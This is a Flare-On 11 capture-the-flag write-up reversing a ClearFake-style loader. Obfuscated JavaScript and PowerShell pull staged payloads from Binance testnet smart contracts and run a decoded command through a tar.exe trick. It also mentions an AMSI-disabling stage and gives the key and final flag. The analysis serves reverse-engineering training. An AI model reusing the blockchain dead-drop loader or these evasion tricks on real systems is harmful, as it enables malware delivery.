# Flare-On 11 Challenge 8: Clearly Fake

By Blas Kojusner (@bkojusner)

## Overview

The challenge is an Obfuscated JavaScript file that interacts with a key checker stored on the blockchain. The correct key lets the player retrieve the final payload which is an obfuscated PowerShell script that fetches the flag stored on the blockchain. The challenge is based on the ClearFake campaign's use of the Binance Smart Chain to function as a dead drop resolver for delivering malware.

## Stage 1: JavaScript Code

The players are delivered an obfuscated piece of JavaScript code that is broken and interacts with a key checker. The code uses the returned value to interact with a different Smart Contract and save the returned data to a file. The code has been obfuscated using https://beautifytools.com/javascript-obfuscator.php# and https://obfuscator.io/#google_vignette respectively. The behavior of the code can be determined by using a combination of manual deobfuscation along with tools like https://obf-io.deobfuscate.io/.

JavaScript

```
const Web3 = require("web3");
const fs = require("fs");
const web3 = new Web3("BINANCE_TESTNET_RPC_URL");

// Contract Address
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";

async function callContractFunction(inputString) {
  try {
    // Method ID (function signature)
    const methodId = "0x5684cff5";

    // Encode the function call using the method ID and input parameter
    const encodedData = methodId + web3.eth.abi.encodeParameters(["string"],
[inputString]).slice(2);

    // Call the contract function using the encoded data
    const result = await web3.eth.call({
      to: contractAddress,
      data: encodedData
    });
```

```
     // Parse and process the base64-encoded data
    const largeString = web3.eth.abi.decodeParameter("string", result);

    // Decode and save the target address to the file
    const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
    const filePath = "decoded_output.txt";
    fs.writeFileSync(filePath, "$address = " + targetAddress + "\n");

    // Use the targetAddress and new_methodId to create new request
    const new_methodId = "0x5c880fcb";
    const blockNumber = 43152014;
    const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"],
[targetAddress]).slice(2);

    // Get the data at the specified block
    const newData = await web3.eth.call({
      to: contractAddress,
      data: newEncodedData
    }, blockNumber);

    const decodedData = web3.eth.abi.decodeParameter("string", newData);

    // Base64 decode and write to file
    const base64DecodedData = Buffer.from(decodedData, "base64").toString("utf-8");
    fs.writeFileSync(filePath, decodedData);
    console.log(`Saved decoded data to: ${filePath}`);
  } catch (error) {
    console.error("Error calling contract function:", error);
  }
}

const inputString = "KEY_CHECK_VALUE";
callContractFunction(inputString);
```

**Figure 1** - Deobfuscated challenge code.

The resulting deobfuscated code can be rewritten to resemble the code in **Figure 1**. At a high level, the code contains a string `KEY_CHECK_VALUE` that is passed through to a function that makes a request to the address `0x9223f0630c598a200f99c5d4746531d10319a569` in the `BINANCE_TESTNET`. The code in **Figure 1** writes the Base64-decoded output from the first `eth_call` to a file and repeats this process, using the output from the first `eth_call` as an address for the second `eth_call`. This request reads the data stored at the block `43152014` and writes the Base64-decoded output to the same file as before.

The next step to this challenge is figuring out what is the correct key for the key check and what are the contents written to the `decoded_output.txt` file. The challenge description also hints the code would be broken. This refers to the incorrect constant values and the final payload that is being accessed by the code in

**Figure 1**. The constant values themselves can be updated using the context provided by their original values of `KEY_CHECK_VALUE` and `BINANCE_TESTNET_RPC_URL`. The final payload is unknown and will therefore require a deeper dive into the data stored at the address obtained from the first `eth_call` since the code is not only stored to a text file, implying the code may not be executed, but the code referenced in the block at the second address is also not the final payload for the challenge.

## Stage 2: On-Chain Key Check

This stage is a key check smart contract that performs a single character check against each character of the input string and returns an address based on the correctness of that input string. The smart contract address is hardcoded in **Figure 1** as 0x9223f0630c598a200f99c5d4746531d10319a569.

```python
pragma solidity ^0.8.0;

contract Challenge {
    function testStr(string memory str) public pure returns (address) {
        bytes memory _target = hex"5324EAB94b236D4d1456Edc574363B113CEbf09d";
        bytes memory b = bytes(str);
        if (b.length != 17) return address(0x76D76ee8823dE52A1A431884c2ca930C5e72bff3); //
Check the total length
        if (b[0] != 0x67) return address(0x40D3256EB0BaBE89f0ea54EDAa398513136612f5); // g
        if (b[1] != 0x69) return address(0x53387F3321FD69d1E030BB921230dFb188826AFF); // i
        if (b[2] != 0x56) return address(0x87B6cF4EDF2D0e57d6f64d39cA2c07202aB7404C); // V
        if (b[3] != 0x33) return address(0x0084abec6eb54b659a802effc697cdc07b414acc4a); // 3
        if (b[4] != 0x5f) return address(0x53FBb505C39c6D8eeB3dB3Ac3E73c073cd9876f8); // _
        if (b[5] != 0x4d) return address(0x6371b88cc8288527bc9DAB7eC68671f69F0E0862); // M
        if (b[6] != 0x33) return address(0x4b9e3B307f05Fe6F5796919A3eA548E85B96A8fE); // 3
        if (b[7] != 0x5f) return address(0xE2e3DD883Af48600b875522c859fDd92cd8b4f54); // _
        if (b[8] != 0x70) return address(0x3bD70E10D71C6E882E3C1809d26a310d793646eB); // p
        if (b[9] != 0x34) return address(0x00632fb8ee1953f179f2abd8b54bd31a0060fdca7e); // 4
        if (b[10] != 0x79) return address(0x0083c2cbf5454841000f7e43ab07a1b8dc46f1cec3); // y
        if (b[11] != 0x4c) return address(0x00f7fc7a6579afa75832b34abbcf35cb0793fce8cc); // L
        if (b[12] != 0x30) return address(0x26b1822a8f013274213054a428bDbB6EBa267eb9); // 0
        if (b[13] != 0x34) return address(0x506dffbCDAF9FE309e2177B21EF999eF3B59EC5E); // 4
        if (b[14] != 0x64) return address(0xCE89026407fB4736190E26Dcfd5Aa10f03d90B5C); // d
        if (b[15] != 0x21) return address(0x0); // !
        return address(bytes20(_target));
    }
}
```

**Figure 2** - Smart contract used for the key check.

Smart contract code can be analyzed statically or dynamically. If one were to take a dynamic approach, they can make use of information provided in **Figure 1**, like the method ID `0x5684cff5`, to deploy an interface contract at the hard-coded address `0x9223f0630c598a200f99c5d4746531d10319a569` via

https://remix.ethereum.org/ and send varying messages to analyze the different results returned by the smart contract and eventually come to the right key.

The recommended route for this challenge is the static approach as it avoids the guesswork something like the dynamic approach could entail. For the static approach, one must get the bytes of the smart contract, which can be retrieved from a block explorer like https://testnet.bscscan.com/, and disassemble the bytecode using a tool like https://ethervm.io/decompile. Static analysis tools should display a few of these addresses in plaintext. The user could verify these addresses through brute force until they match with the only valid address in the text, however, they can also interpret the disassembled code to determine there is a length check and a char check, and then retrieve all of the characters used in the comparison. It is worth noting there is a small catch where the string needs to be slightly longer than what is checked, however, the final char value is inconsequential. A valid input string is `giV3_M3_p4yL04d!0` and the returned smart contract address for the valid string is `0x5324EAB94b236D4d1456Edc574363B113CEbf09d`.

## Stage 3: On-Chain Storage

The original JavaScript code makes an `eth_call` to fetch the information stored in a variable at the block `43152014` in the smart contract at address 0x5324eab94b236d4d1456edc574363b113cebf09d. The smart contract in this case, outlined in **Figure 3**, is mainly used to store a message and can only be modified by the contract creator.

```
JavaScript
pragma solidity ^0.8.0;

contract LargeStringStorage {

    string public largeString;
    address public immutable owner;

    constructor() {
        owner = msg.sender; // Set the contract creator as the owner
    }

    function setLargeString(string memory _newString) public onlyOwner {
        largeString = _newString;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only the owner can call this function.");
        _;
    }
}
```

**Figure 3** - Smart Contract Used for Storage Functionality

As mentioned previously, the final payload is unknown and will therefore require a deeper dive into the data stored at the block `43152014` is not the final payload for the challenge but rather an obfuscated PowerShell snippet that is intended to disable AMSI for the current process. Exploring the other transactions made to this address reveals the transaction, at block `44335452`, that contains the final PowerShell payload. The final transaction hash is [0x5a6675770eff26562a47efa4e22bbf29d764351c13d8b1dce1f9c4f6a471d2f3](0x5a6675770eff26562a47efa4e22bbf29d764351c13d8b1dce1f9c4f6a471d2f3).

## Stage 4: Final Payload

The payload obtained from the previous stage is the final stage of the challenge. The players are provided with an obfuscated PowerShell script obfuscated with https://github.com/danielbohannon/Invoke-Obfuscation. The functions called to obfuscate the PowerShell with this program are `String\3` to reverse the entire command after concatenating, `String\2` to reorder the entire command after concatenating, and `Compress\1` for general Base64 compression. The payload can be deobfuscated with a combination of manual analysis combined with tools like https://gchq.github.io/CyberChef/.

Python

```
$testnet_endpoint = "ENDPOINT"
$_body = '{"method":"eth_call","params":[{"to":"$address","data":"0x5c880fcb"},
BLOCK],"id":1,"jsonrpc":"2.0"}'
$resp = (Invoke-RestMethod -Uri $testnet_endpoint -Method 'Post' -Body $_body -ContentType
"application/json").result

# Remove the '0x' prefix
$hexNumber = $resp -replace '0x', ''

# Convert from hex to bytes (ensuring pairs of hex characters)
$bytes0 =  0..($hexNumber.Length / 2 - 1) | ForEach-Object {
    $startIndex = $_ * 2
    $endIndex = $startIndex + 1
    [Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)
}
$bytes1 = [System.Text.Encoding]::UTF8.GetString($bytes0)
$bytes2 = $bytes1.Substring(64, 188)

# Convert from base64 to bytes
$bytesFromBase64 = [System.Convert]::FromBase64String($bytes2)
$resultAscii = [System.Text.Encoding]::UTF8.GetString($bytesFromBase64)
$hexBytes = $resultAscii | ForEach-Object {
    '{0:X2}' -f $_  # Format each byte as two-digit hex with uppercase letters
}
$hexString = $hexBytes -join ' '
$hexBytes = ($hexBytes -replace " ", "")

# Convert from hex to bytes (ensuring pairs of hex characters)
$bytes3 =  0..($hexBytes.Length / 2 - 1) | ForEach-Object {
    $startIndex = $_ * 2
```

```
    $endIndex = $startIndex + 1
    [Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)
}
$bytes5 = [System.Text.Encoding]::UTF8.GetString($bytes3)

# Convert the key to bytes
$keyBytes = [System.Text.Encoding]::ASCII.GetBytes("FLAREON24")

# Perform the XOR operation
$resultBytes = @()
for ($i = 0; $i -lt $bytes5.Length; $i++) {
    $resultBytes += $bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length]
}

# Convert the result back to a string (assuming ASCII encoding)
$resultString = [System.Text.Encoding]::ASCII.GetString($resultBytes)

$command = "tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag"
Invoke-Expression $command
```

**Figure 4** - Deobfuscated Payload Implementation

The deobfuscated payload is missing information like the endpoint required to communicate with the contract and what block it intends to read data from. An endpoint can be generated with quicknode.com and the block can be found through modifying the script to iterate through all blocks at the address `$address`, which is the same address for the contract in Stage 3. The block with the flag is `43148912`.

## Getting the Flag

The deobfuscated PowerShell script makes an `eth_call` and uses a LolBin obfuscation technique with `tar.exe` to write the flag to `C:\\flag`, only if the file already exists on the system. The retrieved contract data is converted to bytes, Base64-decoded, converted to hex, and XORed with `FLAREON24`. The transaction hash with the flag is 0xdbf0e117fb3d4db0cd746835cfc4eb026612ac36a80f9f0f248dce061d90ae54.

## Final Flag

```
Unset
N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.com
```